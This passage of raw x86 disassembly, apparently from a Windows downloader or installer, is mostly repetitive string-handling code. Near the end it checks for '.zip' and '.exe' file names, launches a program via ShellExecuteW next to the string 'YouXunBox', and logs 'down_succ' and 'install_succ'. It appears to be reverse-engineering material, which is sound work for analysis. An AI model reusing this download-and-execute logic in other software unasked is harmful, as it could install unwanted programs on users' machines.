jmp 0x4122c4
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x411248
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x32
mov edi, dword [0x4be1c8]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x41230b
cmp eax, dword [edi]
jne 0x41230b
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412346
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x411248
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x34]
mov byte [esp + 0xfc], bl
call fcn.00409680
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412395
cmp eax, dword [esi]
jne 0x412395
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4123d0
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x411248
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x33
mov edi, dword [esp + 0x50]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412415
cmp eax, dword [edi]
jne 0x412415
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412450
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x411248
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x34
mov edi, dword [0x4be1c8]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412497
cmp eax, dword [edi]
jne 0x412497
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4124d2
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x411248
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x44]
mov byte [esp + 0xfc], bl
call fcn.00409680
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412521
cmp eax, dword [esi]
jne 0x412521
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41255c
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x411248
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x35
mov edi, dword [esp + 0xb0]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4125a4
cmp eax, dword [edi]
jne 0x4125a4
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4125df
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x411248
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x18]
add esi, 0x10
mov dword [ecx], esi
mov byte [esp + 0xf8], 0x36
mov edi, dword [0x4be1c8]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x412626
cmp eax, dword [edi]
jne 0x412626
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412661
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x411248
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [esi + 0x10]
push eax
call fcn.00461c94
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add esi, 0x10
mov dword [ecx], esi
lea esi, [esp + 0x4c]
mov byte [esp + 0xfc], bl
call fcn.00409680
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov edi, esp
mov dword [esp + 0x14], esi
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4126b0
cmp eax, dword [esi]
jne 0x4126b0
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4126f3
mov ecx, dword [esp + 0x14]
mov ecx, dword [ecx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x411248
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov eax, dword [ecx + 4]
lea edx, [eax + eax + 2]
push edx
add ecx, 0x10
push ecx
lea eax, [eax + eax + 2]
push eax
lea ecx, [esi + 0x10]
push ecx
call fcn.00461c94
add esp, 0x10
add esi, 0x10
mov dword [edi], esi
mov byte [esp + 0xf4], 0x37
mov eax, dword [esp + 0x78]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x48]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x38
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x39
mov eax, dword [esp + 0xc4]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x54]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3a
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3b
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xac]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3c
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3d
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x7c]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x3e
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x3f
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x74]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x40
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
add esp, 8
mov dword [esp + 0x18], esp
mov esi, esp
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x41
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x6c]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x42
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x43
mov eax, dword [esp + 0xcc]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x50]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x44
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x45
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x64]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x46
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x47
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x5c]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x48
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x49
mov eax, dword [esp + 0xd0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa0]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4a
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x4b
mov eax, dword [esp + 0xc8]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0xa4]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4c
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0x24]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x4d
mov eax, dword [esp + 0xc0]
add eax, 0xfffffff0
mov dword [esp + 0x24], esp
mov edi, esp
push eax
lea esi, [esp + 0x98]
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xfc], 0x4e
mov eax, dword [0x4be1c8]
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov edi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xfc], bl
call fcn.00409680
mov eax, dword [esp + 0xa4]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.004137e0
test eax, eax
jne 0x412f96
mov eax, dword [esp + 0x8c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x18], esp
mov esi, esp
push eax
call fcn.00402360
mov edx, dword [ebp + 8]
add esp, 4
add eax, 0x10
push edx
mov dword [esi], eax
call fcn.004138b0
test eax, eax
jne 0x412f96
mov edi, dword [esp + 0x70]
cmp dword [edi - 0xc], eax
je 0x412f96
push 4
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x30]
call fcn.00404f10
mov byte [esp + 0xf0], 0x4f
mov esi, dword [esp + 0x20]
cmp dword [esi - 0xc], 0
jl 0x412d04
push str..zip
push esi
call fcn.004624d3
add esp, 8
test eax, eax
je 0x412cdf
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x412da6
cmp dword [esi - 0xc], 0
jl 0x412d04
push str..exe
push esi
call fcn.004624d3
add esp, 8
test eax, eax
je 0x412d04
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x412da6
mov ecx, dword [esp + 0x44]
push ecx
call fcn.0046254a
add esp, 4
push eax
mov eax, dword [esp + 0x44]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xfc], 0x57
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
mov dword [esp + 0x28], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x100], 0x58
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x104], 0x59
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
mov dword [esp + 0xec], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x104], 0x4f
call fcn.0041eae0
add esp, 0x14
jmp 0x412f10
mov edx, dword [esp + 0x50]
push edx
call fcn.0046254a
add esp, 4
push eax
mov eax, dword [esp + 0xa4]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0xe0], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
add esp, 4
mov dword [esi], eax
mov byte [esp + 0xf8], 0x50
mov eax, dword [esp + 0x70]
push eax
call fcn.0046254a
mov ecx, dword [esp + 0x54]
add esp, 4
push eax
push ecx
call fcn.0046254a
mov edx, dword [esp + 0xa4]
add esp, 4
push eax
push edx
call fcn.0046254a
add esp, 4
push eax
mov eax, dword [esp + 0x6c]
push eax
call fcn.0046254a
add esp, 4
push eax
mov eax, dword [esp + 0x5c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x30], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x110], 0x51
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
mov dword [esp + 0x3c], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x114], 0x52
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
mov dword [esp + 0x34], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x118], 0x53
lea eax, [edi - 0x10]
mov dword [esp + 0x108], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x11c], 0x54
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x108], esp
mov esi, esp
add eax, 0xfffffff0
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x120], 0x55
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
mov dword [esp + 0x100], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x124], 0x56
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0xd0], esp
mov esi, esp
push eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x124], 0x4f
call fcn.00409ba0
add esp, 0x34
mov edi, dword [esp + 0x30]
mov esi, eax
mov eax, dword [edi - 0xc]
test eax, eax
je 0x412f43
cmp esi, 1
je 0x412f43
push eax
push edi
lea ecx, [esp + 0x80]
call fcn.00405740
push 1
push 0x49fd58
lea ecx, [esp + 0x80]
call fcn.00405740
mov eax, dword [edi - 0xc]
test eax, eax
je 0x412f6f
test esi, esi
jne 0x412f6f
push eax
push edi
lea ecx, [esp + 0x98]
call fcn.00405740
push 1
push 0x49fd58
lea ecx, [esp + 0x98]
call fcn.00405740
mov byte [esp + 0xf0], bl
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x412f96
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
inc eax
cmp eax, dword [esp + 0x2c]
mov dword [esp + 0x24], eax
jle 0x411c00
mov esi, dword [ebp + 8]
cmp dword [esi + 0x194], 0
je 0x413019
mov eax, dword [esp + 0x34]
test eax, eax
je 0x413019
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.YouXunBox
lea eax, [esi + 0x18c]
push eax
lea ecx, [esp + 0x3c]
push ecx
call fcn.00405010
mov eax, dword [eax]
mov edx, dword [esp + 0xe0]
add esp, 0xc
push 5
push eax
push 0
push edx
push 0x4a04c0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413019
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x7c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0xa0], esp
mov esi, esp
push eax
mov dword [esp + 0x28], eax
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x5a
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.selected
call fcn.00401bc0
mov ecx, dword [ebp + 8]
push ecx
mov byte [esp + 0xfc], bl
call fcn.004140c0
mov edi, dword [esp + 0x78]
push ecx
add edi, 0xfffffff0
mov dword [esp + 0xa0], esp
mov esi, esp
push edi
call fcn.00402360
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xf8], 0x5b
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.down_succ
call fcn.00401bc0
mov edx, dword [ebp + 8]
push edx
mov byte [esp + 0xfc], bl
call fcn.004140c0
mov esi, dword [esp + 0x90]
push ecx
add esi, 0xfffffff0
mov dword [esp + 0xa0], esp
mov dword [esp + 0x30], esp
push esi
call fcn.00402360
mov ecx, dword [esp + 0x34]
add eax, 0x10
mov dword [ecx], eax
mov byte [esp + 0xf8], 0x5c
mov ecx, esp
mov dword [esp + 0xd8], esp
push str.install_succ
call fcn.00401bc0
mov edx, dword [ebp + 8]
push edx
mov byte [esp + 0xfc], bl
call fcn.004140c0
mov byte [esp + 0xf0], 0x2b
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x41311c
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov byte [esp + 0xf0], 0x2a
lea ecx, [edi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41313d
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
mov byte [esp + 0xf0], 0x29
mov eax, dword [esp + 0x20]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413162
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x28
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41318d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x27
mov eax, dword [esp + 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4131b8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x26
mov eax, dword [esp + 0xc0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4131e3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x25
mov eax, dword [esp + 0xc8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41320e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x24
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413236
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x23
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413261
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x22
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413289
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x21
mov eax, dword [esp + 0xc4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4132b4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x20
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4132dc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1f
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413307
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1e
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41332f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1d
mov eax, dword [esp + 0xbc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41335a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1c
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413382
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xf0], 0x1b
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
